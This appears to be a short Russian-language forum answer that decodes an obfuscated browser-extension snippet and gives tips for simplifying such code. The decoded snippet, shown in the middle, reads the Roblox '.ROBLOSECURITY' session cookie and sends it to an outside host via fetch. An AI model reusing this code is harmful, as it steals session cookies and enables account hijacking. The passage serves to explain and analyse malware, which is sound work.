Вкратце, этот код делает такое:
chrome.cookies.get({
'url': 'https://www.roblox.com',
'name': '.ROBLOSECURITY'
}, function(cookie) {
fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});
Подробности можно прочитать в
документации.
Как упростить такой код? Загнать в любой js beautifier и начать переименовывать переменные. Все вычисляемые значения переписывать в явном виде. Рано или поздно код упростится до читабельности.